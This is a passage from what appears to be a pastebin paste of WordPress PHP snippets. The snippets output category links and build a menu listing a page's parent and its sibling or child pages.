  3962. echo '<a href="'.$parent_linkchild.'">'.$term->name.'</a>,';
  3963. echo '<a href="'.$parent_link.'">'.$parent->name.'</a>';
  3964. }
  3965. }
  3966. ?>
  3967.  
  3968.  
  3969.  
  3970. --------------------------------------
  3971. Get and display parent page name and child page name list
  3972. -----------------------------------------
  3973. <ul class="page_menu_list">
  3974.                            
  3975. <?php
  3976.  
  3977. global $post;     // if outside the loop
  3978.  
  3979. if ( is_page() && $post->post_parent ) {
  3980.    
  3981.     if($post->post_parent){
  3982.         // get a list of all the children of the parent page
  3983.         $pages = get_pages(array('child_of'=>$post->post_parent));
  3984.  
  3985.         if ($pages) {
  3986.           // get the ids for the pages in a comma-delimited string
  3987.           foreach ($pages as $page)
  3988.                $page_ids[] = $page->ID;
  3989.           $siblings = implode(',',$page_ids);
  3990.  
  3991.           // $pages_to_get is a string with all the ids we want to get, i.e. parent & siblings
  3992.           $pages_to_get = $post->post_parent.','.$siblings;
  3993.            
  3994.         //making page_id to array
  3995.         $page_idaray = explode(",",$pages_to_get);
  3996.             //output page title and link from page_id array
  3997.             foreach($page_idaray as $page_title)
  3998.             {
  3999.                 echo '<li><a href="'.get_the_permalink($page_title).'">'.get_the_title($page_title).'</a></li>';
  4000.             }
  4001.  
  4002.         }
  4003.  
  4004.     }
  4005.  
  4006. } else {
  4007.    
  4008.   if($post->post_parent){
  4009.     // get a list of all the children of the parent page
  4010.     $pages = get_pages(array('child_of'=>$post->post_parent));
  4011.  
  4012.     if ($pages) {
  4013.       // get the ids for the pages in a comma-delimited string
  4014.       foreach ($pages as $page)
  4015.            $page_ids[] = $page->ID;
  4016.       $siblings = implode(',',$page_ids);
  4017.  
  4018.       // $pages_to_get is a string with all the ids we want to get, i.e. parent & siblings
  4019.       $pages_to_get = $post->post_parent.','.$siblings;
  4020.  
  4021.       // use "include" to get only the pages in our $pages_to_get
  4022.        $children = wp_list_pages("include=".$pages_to_get."&echo=0");
  4023.     }
  4024.  
  4025. }
  4026. else{
  4027.     // get pages that direct children of this page: depth=1
  4028.     $children = wp_list_pages("title_li=&child_of=".$post->ID."&depth=1&echo=0");
  4029. }
  4030.  
  4031. // display the children:
  4032. if ($children) {
  4033.     echo '<li><a href="' . get_the_permalink($parent[1]) . '">' . get_the_title($parent[1]) . '</a></li>';  
  4034.     echo $children;
  4035. }    
  4036.    
  4037. }
  4038. ?>                     
  4039. </ul>
Advertisement
Add Comment
Please, Sign In to add comment